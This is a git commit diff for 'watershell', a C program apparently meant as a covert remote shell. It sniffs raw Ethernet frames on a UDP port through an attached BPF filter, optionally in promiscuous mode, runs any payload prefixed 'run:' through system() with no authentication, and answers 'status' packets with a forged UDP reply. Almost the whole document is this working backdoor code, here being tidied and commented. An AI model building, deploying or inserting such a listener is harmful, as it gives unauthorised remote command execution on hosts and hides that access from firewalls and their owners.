split into two files, added comments, fixed udp checksums?
This commit is contained in:
112
watershell.c
112
watershell.c
@@ -15,6 +15,18 @@
|
|||||||
* =====================================================================================
|
* =====================================================================================
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
/* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
|
||||||
|
#ifndef IFACE
|
||||||
|
#define IFACE "eth0"
|
||||||
|
#endif
|
||||||
|
#ifndef PORT
|
||||||
|
#define PORT 12345
|
||||||
|
#endif
|
||||||
|
#ifndef PROMISC
|
||||||
|
#define PROMISC false
|
||||||
|
#endif
|
||||||
|
/* COMMAND LINE ARGS WILL OVERRIDE THESE */
|
||||||
|
|
||||||
#include <net/if.h>
|
#include <net/if.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -33,39 +45,9 @@
|
|||||||
#include <netinet/udp.h>
|
#include <netinet/udp.h>
|
||||||
#include <signal.h>
|
#include <signal.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
#include "watershell.h"
|
||||||
|
|
||||||
#define IFACE "eth0"
|
//these need to be global so that a sigint can close everything up
|
||||||
#define PORT 12345
|
|
||||||
#define PROMISC false
|
|
||||||
|
|
||||||
struct sock_filter bpf_code[] = {
|
|
||||||
{ 0x28, 0, 0, 0x0000000c },
|
|
||||||
{ 0x15, 0, 6, 0x000086dd },
|
|
||||||
{ 0x30, 0, 0, 0x00000014 },
|
|
||||||
{ 0x15, 0, 15, 0x00000011 },
|
|
||||||
{ 0x28, 0, 0, 0x00000036 },
|
|
||||||
{ 0x15, 12, 0, 0x00003039 }, //5
|
|
||||||
{ 0x28, 0, 0, 0x00000038 },
|
|
||||||
{ 0x15, 10, 11, 0x00003039 }, //7
|
|
||||||
{ 0x15, 0, 10, 0x00000800 },
|
|
||||||
{ 0x30, 0, 0, 0x00000017 },
|
|
||||||
{ 0x15, 0, 8, 0x00000011 },
|
|
||||||
{ 0x28, 0, 0, 0x00000014 },
|
|
||||||
{ 0x45, 6, 0, 0x00001fff },
|
|
||||||
{ 0xb1, 0, 0, 0x0000000e },
|
|
||||||
{ 0x48, 0, 0, 0x0000000e },
|
|
||||||
{ 0x15, 2, 0, 0x00003039 }, //15
|
|
||||||
{ 0x48, 0, 0, 0x00000010 },
|
|
||||||
{ 0x15, 0, 1, 0x00003039 }, //17
|
|
||||||
{ 0x6, 0, 0, 0x0000ffff },
|
|
||||||
{ 0x6, 0, 0, 0x00000000 },
|
|
||||||
};
|
|
||||||
|
|
||||||
void send_status(unsigned char *buf, int code);
|
|
||||||
void sigint(int signum);
|
|
||||||
void ip_checksum(struct iphdr *ip);
|
|
||||||
void udp_checksum(struct iphdr *ip, unsigned short *payload);
|
|
||||||
|
|
||||||
int sockfd;
|
int sockfd;
|
||||||
struct ifreq *sifreq;
|
struct ifreq *sifreq;
|
||||||
bool promisc;
|
bool promisc;
|
||||||
@@ -84,6 +66,7 @@ int main(int argc, char *argv[])
|
|||||||
|
|
||||||
promisc = PROMISC;
|
promisc = PROMISC;
|
||||||
|
|
||||||
|
// command line args
|
||||||
while ((arg = getopt(argc, argv, "phi:l:")) != -1){
|
while ((arg = getopt(argc, argv, "phi:l:")) != -1){
|
||||||
switch (arg){
|
switch (arg){
|
||||||
case 'i':
|
case 'i':
|
||||||
@@ -112,59 +95,69 @@ int main(int argc, char *argv[])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// replace the port in the existing filter
|
||||||
bpf_code[5].k = port;
|
bpf_code[5].k = port;
|
||||||
bpf_code[7].k = port;
|
bpf_code[7].k = port;
|
||||||
bpf_code[15].k = port;
|
bpf_code[15].k = port;
|
||||||
bpf_code[17].k = port;
|
bpf_code[17].k = port;
|
||||||
|
|
||||||
|
/* startup a raw socket, gets raw ethernet frames containing IP packets
|
||||||
|
* directly from the interface, none of this AF_INET shit
|
||||||
|
*/
|
||||||
sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
|
sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
|
||||||
if (sockfd < 0){
|
if (sockfd < 0){
|
||||||
perror("socket");
|
perror("socket");
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* setup ifreq struct and SIGINT handler
|
||||||
|
* make sure we can issue an ioctl to the interface
|
||||||
|
*/
|
||||||
sifreq = malloc(sizeof(struct ifreq));
|
sifreq = malloc(sizeof(struct ifreq));
|
||||||
signal(SIGINT, sigint);
|
signal(SIGINT, sigint);
|
||||||
strncpy(sifreq->ifr_name, iface, IFNAMSIZ);
|
strncpy(sifreq->ifr_name, iface, IFNAMSIZ);
|
||||||
if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){
|
if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){
|
||||||
perror("ioctl GIFFLAGS");
|
perror("ioctl SIOCGIFFLAGS");
|
||||||
close(sockfd);
|
close(sockfd);
|
||||||
free(sifreq);
|
free(sifreq);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//set up promisc mode if enabled
|
||||||
if (promisc){
|
if (promisc){
|
||||||
sifreq->ifr_flags |= IFF_PROMISC;
|
sifreq->ifr_flags |= IFF_PROMISC;
|
||||||
if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1){
|
if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1)
|
||||||
perror("ioctl SIFFLAGS");
|
perror("ioctl SIOCSIFFLAGS");
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//apply the packet filter code to the socket
|
||||||
filter.len = 20;
|
filter.len = 20;
|
||||||
filter.filter = bpf_code;
|
filter.filter = bpf_code;
|
||||||
if (setsockopt(sockfd, SOL_SOCKET, SO_ATTACH_FILTER,
|
if (setsockopt(sockfd, SOL_SOCKET, SO_ATTACH_FILTER,
|
||||||
&filter, sizeof(filter)) < 0){
|
&filter, sizeof(filter)) < 0)
|
||||||
perror("setsockopt");
|
perror("setsockopt");
|
||||||
}
|
|
||||||
|
|
||||||
|
//sniff forever!
|
||||||
for (;;){
|
for (;;){
|
||||||
memset(buf, 0, 2048);
|
memset(buf, 0, 2048);
|
||||||
|
//get a packet, and tear it apart, look for keywords
|
||||||
n = recvfrom(sockfd, buf, 2048, 0, NULL, NULL);
|
n = recvfrom(sockfd, buf, 2048, 0, NULL, NULL);
|
||||||
ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
|
ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
|
||||||
udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
|
udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
|
||||||
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
||||||
if (*udpdata != 0)
|
//run a command if the data is prefixed with run:
|
||||||
printf("%s\n", udpdata);
|
|
||||||
if (!strncmp(udpdata, "run:", 4))
|
if (!strncmp(udpdata, "run:", 4))
|
||||||
code = system(udpdata + 4);
|
code = system(udpdata + 4); //replace with fork + exec
|
||||||
|
//checkup on the service, make sure it is still there
|
||||||
if(!strncmp(udpdata, "status", 6))
|
if(!strncmp(udpdata, "status", 6))
|
||||||
send_status(buf, code);
|
send_status(buf, code);
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//cleanup on SIGINT
|
||||||
void sigint(int signum){
|
void sigint(int signum){
|
||||||
|
//if promiscuous mode was on, turn it off
|
||||||
if (promisc){
|
if (promisc){
|
||||||
if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){
|
if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){
|
||||||
perror("ioctl GIFFLAGS");
|
perror("ioctl GIFFLAGS");
|
||||||
@@ -174,18 +167,13 @@ void sigint(int signum){
|
|||||||
perror("ioctl SIFFLAGS");
|
perror("ioctl SIFFLAGS");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
//shut it down!
|
||||||
free(sifreq);
|
free(sifreq);
|
||||||
close(sockfd);
|
close(sockfd);
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
struct __attribute__((__packed__)) udpframe {
|
//send a reply
|
||||||
struct ethhdr ehdr;
|
|
||||||
struct iphdr ip;
|
|
||||||
struct udphdr udp;
|
|
||||||
unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
|
|
||||||
};
|
|
||||||
|
|
||||||
void send_status(unsigned char *buf, int code){
|
void send_status(unsigned char *buf, int code){
|
||||||
struct udpframe frame;
|
struct udpframe frame;
|
||||||
struct sockaddr_ll saddrll;
|
struct sockaddr_ll saddrll;
|
||||||
@@ -194,15 +182,22 @@ void send_status(unsigned char *buf, int code){
|
|||||||
char *prefix = "LISTENING: ";
|
char *prefix = "LISTENING: ";
|
||||||
char *ccode = (char*)calloc(1, len+1);
|
char *ccode = (char*)calloc(1, len+1);
|
||||||
char *data = calloc(1, strlen(prefix)+len+2);
|
char *data = calloc(1, strlen(prefix)+len+2);
|
||||||
|
|
||||||
|
//setup the data
|
||||||
snprintf(ccode, len+1, "%d", code);
|
snprintf(ccode, len+1, "%d", code);
|
||||||
strncpy(data, prefix, strlen(prefix));
|
strncpy(data, prefix, strlen(prefix));
|
||||||
strncat(data, ccode, len+1);
|
strncat(data, ccode, len+1);
|
||||||
strncat(data, "\n", 1);
|
strncat(data, "\n", 1);
|
||||||
|
strncpy(frame.data, data, strlen(data));
|
||||||
|
|
||||||
|
//get the ifindex
|
||||||
memset(&frame, 0, sizeof(frame));
|
memset(&frame, 0, sizeof(frame));
|
||||||
if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
|
if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
|
||||||
perror("GIFINDEX");
|
perror("ioctl SIOCGIFINDEX");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//layer 2
|
||||||
saddrll.sll_family = PF_PACKET;
|
saddrll.sll_family = PF_PACKET;
|
||||||
saddrll.sll_ifindex = sifreq->ifr_ifindex;
|
saddrll.sll_ifindex = sifreq->ifr_ifindex;
|
||||||
saddrll.sll_halen = ETH_ALEN;
|
saddrll.sll_halen = ETH_ALEN;
|
||||||
@@ -210,6 +205,8 @@ void send_status(unsigned char *buf, int code){
|
|||||||
memcpy((void*)frame.ehdr.h_source, (void*)(((struct ethhdr*)buf)->h_dest), ETH_ALEN);
|
memcpy((void*)frame.ehdr.h_source, (void*)(((struct ethhdr*)buf)->h_dest), ETH_ALEN);
|
||||||
memcpy((void*)frame.ehdr.h_dest, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN);
|
memcpy((void*)frame.ehdr.h_dest, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN);
|
||||||
frame.ehdr.h_proto = htons(ETH_P_IP);
|
frame.ehdr.h_proto = htons(ETH_P_IP);
|
||||||
|
|
||||||
|
//layer 3
|
||||||
frame.ip.version = 4;
|
frame.ip.version = 4;
|
||||||
frame.ip.ihl = sizeof(frame.ip)/4;
|
frame.ip.ihl = sizeof(frame.ip)/4;
|
||||||
frame.ip.id = htons(69);
|
frame.ip.id = htons(69);
|
||||||
@@ -220,19 +217,27 @@ void send_status(unsigned char *buf, int code){
|
|||||||
frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
|
frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
|
||||||
frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
|
frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
|
||||||
frame.ip.protocol = IPPROTO_UDP;
|
frame.ip.protocol = IPPROTO_UDP;
|
||||||
|
|
||||||
|
//layer 4
|
||||||
frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
|
frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
|
||||||
frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
|
frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
|
||||||
frame.udp.len = htons(strlen(data) + sizeof(frame.udp));
|
frame.udp.len = htons(strlen(data) + sizeof(frame.udp));
|
||||||
//udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
|
|
||||||
|
//checksums
|
||||||
|
udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
|
||||||
ip_checksum(&frame.ip);
|
ip_checksum(&frame.ip);
|
||||||
strncpy(frame.data, data, strlen(data));
|
|
||||||
|
//calculate total length and send
|
||||||
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(data);
|
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(data);
|
||||||
sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
|
sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
|
||||||
|
|
||||||
|
//cleanup
|
||||||
free(ccode);
|
free(ccode);
|
||||||
free(data);
|
free(data);
|
||||||
}
|
}
|
||||||
|
|
||||||
//broken?
|
/* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */
|
||||||
|
//broken.
|
||||||
void udp_checksum(struct iphdr *ip, unsigned short *payload){
|
void udp_checksum(struct iphdr *ip, unsigned short *payload){
|
||||||
register unsigned long sum = 0;
|
register unsigned long sum = 0;
|
||||||
struct udphdr *udp = (struct udphdr*)payload;
|
struct udphdr *udp = (struct udphdr*)payload;
|
||||||
@@ -255,7 +260,6 @@ void udp_checksum(struct iphdr *ip, unsigned short *payload){
|
|||||||
udp->check = ((unsigned short)sum == 0x0000) ? 0xFFFF : (unsigned short)sum;
|
udp->check = ((unsigned short)sum == 0x0000) ? 0xFFFF : (unsigned short)sum;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void ip_checksum(struct iphdr *ip){
|
void ip_checksum(struct iphdr *ip){
|
||||||
unsigned int count = ip->ihl<<2;
|
unsigned int count = ip->ihl<<2;
|
||||||
unsigned short *addr = (short*)ip;
|
unsigned short *addr = (short*)ip;
|
||||||
|
|||||||
43
watershell.h
Normal file
43
watershell.h
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
#ifndef WATERSHELL_H_
|
||||||
|
#define WATERSHELL_H_
|
||||||
|
/* BPF code generated with tcpdump -dd udp and port 12345
|
||||||
|
* used to filter incoming packets at the socket level
|
||||||
|
*/
|
||||||
|
struct sock_filter bpf_code[] = {
|
||||||
|
{ 0x28, 0, 0, 0x0000000c },
|
||||||
|
{ 0x15, 0, 6, 0x000086dd },
|
||||||
|
{ 0x30, 0, 0, 0x00000014 },
|
||||||
|
{ 0x15, 0, 15, 0x00000011 },
|
||||||
|
{ 0x28, 0, 0, 0x00000036 },
|
||||||
|
{ 0x15, 12, 0, 0x00003039 }, //5
|
||||||
|
{ 0x28, 0, 0, 0x00000038 },
|
||||||
|
{ 0x15, 10, 11, 0x00003039 }, //7
|
||||||
|
{ 0x15, 0, 10, 0x00000800 },
|
||||||
|
{ 0x30, 0, 0, 0x00000017 },
|
||||||
|
{ 0x15, 0, 8, 0x00000011 },
|
||||||
|
{ 0x28, 0, 0, 0x00000014 },
|
||||||
|
{ 0x45, 6, 0, 0x00001fff },
|
||||||
|
{ 0xb1, 0, 0, 0x0000000e },
|
||||||
|
{ 0x48, 0, 0, 0x0000000e },
|
||||||
|
{ 0x15, 2, 0, 0x00003039 }, //15
|
||||||
|
{ 0x48, 0, 0, 0x00000010 },
|
||||||
|
{ 0x15, 0, 1, 0x00003039 }, //17
|
||||||
|
{ 0x6, 0, 0, 0x0000ffff },
|
||||||
|
{ 0x6, 0, 0, 0x00000000 },
|
||||||
|
};
|
||||||
|
|
||||||
|
/* its a datagram inside a packet inside a frame!
|
||||||
|
* gotta be packed though!
|
||||||
|
*/
|
||||||
|
struct __attribute__((__packed__)) udpframe {
|
||||||
|
struct ethhdr ehdr;
|
||||||
|
struct iphdr ip;
|
||||||
|
struct udphdr udp;
|
||||||
|
unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
|
||||||
|
};
|
||||||
|
|
||||||
|
void send_status(unsigned char *buf, int code);
|
||||||
|
void sigint(int signum);
|
||||||
|
void ip_checksum(struct iphdr *ip);
|
||||||
|
void udp_checksum(struct iphdr *ip, unsigned short *payload);
|
||||||
|
#endif
|
||||||
Reference in New Issue
Block a user